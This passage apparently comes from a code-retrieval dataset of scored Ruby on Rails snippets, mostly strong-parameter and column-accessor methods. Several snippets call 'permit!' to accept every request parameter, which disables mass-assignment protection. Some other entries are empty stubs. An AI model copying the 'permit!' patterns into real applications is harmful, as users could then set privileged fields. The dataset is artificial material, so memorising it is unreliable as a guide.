"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6313892",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.6312876",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.63040864",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.62999487",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.629886",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.6294405",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6292178",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6292178",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.62785035",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.62718505",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6265872",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.62543756",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62532973",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.6250798",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6233973",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62272465",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6227004",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6225902",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.62246615",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6199634",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.6190174",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.6181904",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.61772704",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.6162726",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160626",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6154942",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61526656",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61359465",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61319274",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61170536",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.6114007",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6112975",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6112975",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.6109575",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61028",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61028",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6095016",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6095016",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.6085453",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60841954",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.6083834",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076738",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60734737",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.6066163",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065011",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60641026",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6063542",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.60627866",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.60613674",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60602236",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562223",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.6047439",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6047015",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.6047015",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.60457283",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.60412854",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.6032506",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6029243",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.60251915",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6020472",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.60178447",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6016368",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60133153",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.6007004",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60052776",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.60052776",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.60052764",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60026777",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60007924",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000297",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000006",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000006",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.59981924",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5995787",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.5995787",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59932935",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.59924304",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.59919494",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59897816",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.5988952",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
f2c71e77f5778f718c8f5cf9fdcd3a68 | Permit access to columns | [
{
"docid": "1b6672e9f32efbbc8757e4f3d149b96c",
"score": "0.0",
"text": "def sport_params\n params.require(:sport).permit(:distance,\n :date,\n :duration,\n :populair_sport_id)\n end",
"title": ""
}
] | [
{
"docid": "ca43d5ed4812d8e27eb4264c8454ebca",
"score": "0.6934601",
"text": "def restrict_columns\n columns_whitelist = @user_key.columns.restrict_to(@resource).to_a.map{|c| c.name}\n for item in @items\n for column in item.keys\n item.delete(column) unless columns_whitelist.include?(column)\n end\n end\n end",
"title": ""
},
{
"docid": "aae88b37a1540eba4a7a3244353cfbf1",
"score": "0.6779489",
"text": "def columns *args\n if args.size > 0 && configurable?\n raise 'please call %s only inside #model block' % __method__ if model_defined?\n return @columns_opted = false if args.first == false\n @columns_opted = args\n end\n end",
"title": ""
},
{
"docid": "426bcfbe82301308504b134813e2bf5d",
"score": "0.6749072",
"text": "def columns\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "3a2705ecbcc041148464d354836b21a1",
"score": "0.651644",
"text": "def enabled_columns\n columns.reject { |_, c| c.ignore? }.to_h.with_indifferent_access\n end",
"title": ""
},
{
"docid": "a52d49e4dcea493c80ab3ada4dd85eb2",
"score": "0.6476685",
"text": "def def_bad_column_accessor(column)\n overridable_methods_module.module_eval do\n define_method(column){self[column]}\n define_method(\"#{column}=\"){|v| self[column] = v}\n end\n end",
"title": ""
},
{
"docid": "a52d49e4dcea493c80ab3ada4dd85eb2",
"score": "0.6476685",
"text": "def def_bad_column_accessor(column)\n overridable_methods_module.module_eval do\n define_method(column){self[column]}\n define_method(\"#{column}=\"){|v| self[column] = v}\n end\n end",
"title": ""
},
{
"docid": "baaaf78e8c84236aceeb8237079a2a97",
"score": "0.6473063",
"text": "def whitelist\n @columns = []\n end",
"title": ""
},
{
"docid": "ea801e9c3770400c47149165b4ffe060",
"score": "0.6467399",
"text": "def columns\n restrictions - exclude\n end",
"title": ""
},
{
"docid": "0a7a6a38ff84507adebfe0347225ac7b",
"score": "0.64248884",
"text": "def synthetic_columns\n @columns ||= [:id]\n end",
"title": ""
},
{
"docid": "c17f5f16821cf96e94644e5a64416c6a",
"score": "0.6412672",
"text": "def expected_columns; end",
"title": ""
},
{
"docid": "c8c4e1698847f5855642b5cd8423d166",
"score": "0.63721484",
"text": "def define_accessors\n columns.each do |column|\n underscored_column_name = column.name.underscore\n unless respond_to?(underscored_column_name)\n self.class.send :define_method, underscored_column_name do\n @attributes[column.name.underscore]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a7e05305e3d164b0f1b27d20738d513b",
"score": "0.63593936",
"text": "def exsiting_columns_for_audit\n columns_for_audit & self.column_names\n end",
"title": ""
},
{
"docid": "d9c066d0c68581aa83950793a07c0aa8",
"score": "0.63564485",
"text": "def columns; @columns; end",
"title": ""
},
{
"docid": "0be7e02494a905e063ba14f3465c08cb",
"score": "0.63543725",
"text": "def user_column\n end",
"title": ""
},
{
"docid": "2377ccee748d8f31c844f1790d80e67d",
"score": "0.632068",
"text": "def attr_readonly?(column)\n self.class.readonly_attributes && self.class.readonly_attributes.collect.include?(column.to_s) \n end",
"title": ""
},
{
"docid": "7d338b88d227cf5bb7494ad0ff1234f2",
"score": "0.6315573",
"text": "def def_column_accessor(*columns)\n clear_setter_methods_cache\n columns, bad_columns = columns.partition{|x| /\\A[A-Za-z_][A-Za-z0-9_]*\\z/.match(x.to_s)}\n bad_columns.each{|x| def_bad_column_accessor(x)}\n im = instance_methods\n columns.each do |column|\n meth = \"#{column}=\"\n overridable_methods_module.module_eval(\"def #{column}; self[:#{column}] end\", __FILE__, __LINE__) unless im.include?(column)\n overridable_methods_module.module_eval(\"def #{meth}(v); self[:#{column}] = v end\", __FILE__, __LINE__) unless im.include?(meth)\n end\n end",
"title": ""
},
{
"docid": "3cca2d7a9c8b466983d1ec064bda5232",
"score": "0.6295716",
"text": "def def_column_accessor(*columns)\n clear_setter_methods_cache\n columns, bad_columns = columns.partition{|x| /\\A[A-Za-z_][A-Za-z0-9_]*\\z/.match(x.to_s)}\n bad_columns.each{|x| def_bad_column_accessor(x)}\n im = instance_methods.map(&:to_s)\n columns.each do |column|\n meth = \"#{column}=\"\n overridable_methods_module.module_eval(\"def #{column}; self[:#{column}] end\", __FILE__, __LINE__) unless im.include?(column.to_s)\n overridable_methods_module.module_eval(\"def #{meth}(v); self[:#{column}] = v end\", __FILE__, __LINE__) unless im.include?(meth)\n end\n end",
"title": ""
},
{
"docid": "60545f4e4b3ce567bd49866af0590ccd",
"score": "0.62902665",
"text": "def only_permitted_columns\n columns = []\n @permissions.each do |per|\n columns << per.column\n end\n #remove association data\n params[:model].singularize.capitalize.constantize.reflect_on_all_associations.map do |assoc|\n if assoc.macro == :has_many or assoc.macro == :has_and_belongs_to_many\n columns.map!{|column| column if column != assoc.name.to_s}\n end\n end\n columns.compact.uniq\n end",
"title": ""
},
{
"docid": "d8bd5c90dcda507d8c1acc40773b6b37",
"score": "0.62885624",
"text": "def columns_ignored *args\n if args.size > 0 && configurable?\n raise 'please call %s only inside #model block' % __method__ if model_defined?\n @columns_ignored = args\n end\n end",
"title": ""
},
{
"docid": "753ed94e7ce33775239af4ead38fa5d4",
"score": "0.62759113",
"text": "def query_columns\n explicit_columns\n end",
"title": ""
},
{
"docid": "f1ee3425256c689e2b4d4e79355d6566",
"score": "0.62381756",
"text": "def columns; end",
"title": ""
},
{
"docid": "26668465f041ca086190027db9551b64",
"score": "0.6228011",
"text": "def has_roles_mask_accessors?\n active_record_table? && column_names.include?(roles_attribute_name.to_s) || super\n end",
"title": ""
},
{
"docid": "631925aad42365c42ec8e10be9340ceb",
"score": "0.61922014",
"text": "def _columns\n cache_get(:_columns)\n end",
"title": ""
},
{
"docid": "7b53e161eb1453e57ce8745b877e2570",
"score": "0.6178742",
"text": "def columns\n _columns || columns!\n end",
"title": ""
},
{
"docid": "89a30d8da388b8a45e110e6c242009c4",
"score": "0.6171442",
"text": "def columns\n @columns\n end",
"title": ""
},
{
"docid": "0eafc2c774fca572753b1c49930da0b8",
"score": "0.61591834",
"text": "def attr_columns\n @attr_columns\n end",
"title": ""
},
{
"docid": "7e42c8ed1b0a5cd2622d8bc34fe8bc27",
"score": "0.61400723",
"text": "def column_params\n params.require(:column).permit(:name, :ident)\n end",
"title": ""
},
{
"docid": "cc5c0b1659bfe79d29d048ba99fc5d67",
"score": "0.61315024",
"text": "def audit_columns(*columns)\n cattr_accessor :_audit_columns\n self._audit_columns = columns.map(&:to_s) & valid_column_names\n end",
"title": ""
},
{
"docid": "7e51a7e87f4bf659fa09884c31496455",
"score": "0.6105738",
"text": "def has_roles_mask_accessors?\n active_record_table_exists? && column_names.include?(roles_attribute_name.to_s) || super\n end",
"title": ""
},
{
"docid": "f1ea15a65b67f72fa56040c40128ed0c",
"score": "0.61031246",
"text": "def writable_columns\n writable_attributes.keys\n end",
"title": ""
},
{
"docid": "c94b1238ddd5e9d45e59610d5cd133d9",
"score": "0.6101272",
"text": "def columns\n unless @columns\n self.columns = @core.columns._inheritable \n self.columns.exclude @core.columns.active_record_class.locking_column.to_sym\n end\n @columns\n end",
"title": ""
},
{
"docid": "b2703191cfb5a610843dedbf85c51a9b",
"score": "0.61005205",
"text": "def set_restricted(hash, only, except)\n columns_not_set = model.instance_variable_get(:@columns).blank?\n meths = setter_methods(only, except)\n strict = strict_param_setting\n hash.each do |k,v|\n m = \"#{k}=\"\n if meths.include?(m)\n send(m, v)\n elsif columns_not_set && (Symbol === k)\n self[k] = v\n elsif strict\n raise Error, \"method #{m} doesn't exist or access is restricted to it\"\n end\n end\n self\n end",
"title": ""
},
{
"docid": "3ff3e579629585b2fe283e420c8f10e1",
"score": "0.60908467",
"text": "def columns\n end",
"title": ""
},
{
"docid": "16277836a13392e3da4baa3b515be758",
"score": "0.60832596",
"text": "def only(*columns)\n columns = columns.flatten\n\n if columns.length == 1 and columns[0].is_a?(Hash)\n unless @options[:join]\n raise ArgumentError, \"#only with a Hash must be used only after #join\"\n end\n\n other = Mao.query(@options[:join][0])\n columns = columns[0]\n columns.each do |table, table_columns|\n unless table_columns.is_a? Array\n raise ArgumentError, \"#{table_columns.inspect} is not an Array\"\n end\n\n if table == @table\n table_columns.each do |column|\n check_column(column, @table, @col_types)\n end\n elsif table == other.table\n table_columns.each do |column|\n check_column(column, other.table, other.col_types)\n end\n else\n raise ArgumentError, \"#{table} is not a column in this query\"\n end\n end\n else\n columns.each do |column|\n check_column(column, @table, @col_types)\n end\n end\n\n with_options(:only => columns)\n end",
"title": ""
},
{
"docid": "64ceed1d580d05d1069d5224445808e8",
"score": "0.6082716",
"text": "def columns(*args)\n @columns = @columns | args.map(&:to_sym)\n end",
"title": ""
},
{
"docid": "cded9b7a0be2be890a9af3cb156eb0bc",
"score": "0.6066038",
"text": "def column_mappings\n raise SolidusImportProducts::AbstractMthodCall\n end",
"title": ""
},
{
"docid": "e9e90cce0cb0f557200081abe75c14e5",
"score": "0.606535",
"text": "def modify_columns(columns)\n columns\n end",
"title": ""
},
{
"docid": "199bb0a7953658d518a37bf7219ede1f",
"score": "0.605926",
"text": "def real_column; end",
"title": ""
},
{
"docid": "bdfea91fd9116149b16af35eeb707cff",
"score": "0.60533345",
"text": "def columns?\n @columns_on\n end",
"title": ""
},
{
"docid": "f4f1453622878de648a48f04418ec55e",
"score": "0.60395634",
"text": "def columns_with_redhillonrails_core\n unless @columns\n columns_without_redhillonrails_core\n cols = columns_hash\n indexes.each do |index|\n next if index.columns.blank?\n column_name = index.columns.reverse.detect { |name| name !~ /_id$/ } || index.columns.last\n column = cols[column_name]\n column.case_sensitive = index.case_sensitive?\n column.unique_scope = index.columns.reject { |name| name == column_name } if index.unique\n end\n end\n @columns\n end",
"title": ""
},
{
"docid": "87590230872a56e4a87fbeab7636d340",
"score": "0.60290736",
"text": "def allowed_keys\n field_names - [id_column]\n end",
"title": ""
},
{
"docid": "7af22259c14705d2332e8b23456d1ca9",
"score": "0.59955233",
"text": "def columns\n @columns\n end",
"title": ""
},
{
"docid": "7af22259c14705d2332e8b23456d1ca9",
"score": "0.59955233",
"text": "def columns\n @columns\n end",
"title": ""
},
{
"docid": "56f0b7c0f4d608de43541b3bc99008f3",
"score": "0.5985427",
"text": "def column_params\n params.require(:column).permit(:name)\n end",
"title": ""
},
{
"docid": "30ef4d48cf6190db8adccb97e0051735",
"score": "0.59838754",
"text": "def proxy_columns(columns)\n columns.each do |column|\n if (type = column_type(column.type)).present?\n # When setting the default value, note that +main_instance+ might be nil, so we have to use +try+\n attribute column.name, type, default: proc { |f| f.main_instance.try(column.name) }\n end\n end\n end",
"title": ""
},
{
"docid": "0f715aef206164a23011822a3c86e802",
"score": "0.5982934",
"text": "def columns\n self.columns = @core.columns._inheritable unless @columns # lazy evaluation\n @columns\n end",
"title": ""
},
{
"docid": "0f715aef206164a23011822a3c86e802",
"score": "0.5982934",
"text": "def columns\n self.columns = @core.columns._inheritable unless @columns # lazy evaluation\n @columns\n end",
"title": ""
},
{
"docid": "9c3a595c780d89e1097729213d870f97",
"score": "0.5956296",
"text": "def columns(table_name, name = nil) end",
"title": ""
},
{
"docid": "09221af01b1060409aea646e50214279",
"score": "0.5940163",
"text": "def protect_column!\n write_raw \"\\x1bV\"\n end",
"title": ""
},
{
"docid": "bd5ab570a7e90a65b5bba60595cf4986",
"score": "0.59309506",
"text": "def check_fields\n columns= resource.model.column_names - AutoRest::AR_MAGIC_COLUMNS\n\n default_columns= columns.select { |attr| attr !~ /.*_count$/ }.map do |elem|\n [elem.intern, elem.titleize]\n end\n\n # For storing columns, I use an array and not a hash --i.e.: (:column => 'Title') -- \n # to ensure the order of the columns. I convert the params from linear array to \n # grouped array to alivianate user's data entry:\n # [[:col0, \"name0\"], [:col1, \"name1\"]] becomes [:col0, \"name0\", :col1, \"name1\"]\n \n # *TODO* This should be cleaned a little, because right now is a bit difficult\n # to remember the way the attributes for each view work.\n\n [:for_index, :for_new, :for_edit, :for_show].each do |key|\n arr= fields.send(key)\n exc= exclude_fields.send(key)\n\n if !arr # User has not supplied columns.\n arr= default_columns\n else\n # enum_for creates an enum from array, therefore protecting the original array contents.\n # each slice returns an array of specified elements: [1,2,3,4] => 1..4 => [[1,2],[3,4]]\n arr= arr.enum_for(:each_slice, 2).to_a\n end\n \n # Remove excluded fields.\n arr= arr.reject { |e| exc.map{|elem|elem.to_s}.include?(e[0].to_s) } if exc\n fields.send(\"#{key}=\", arr)\n end\n end",
"title": ""
},
{
"docid": "7754744fab317c6dfa5b2becb1e1abed",
"score": "0.59289527",
"text": "def columns; self.class.columns; end",
"title": ""
},
{
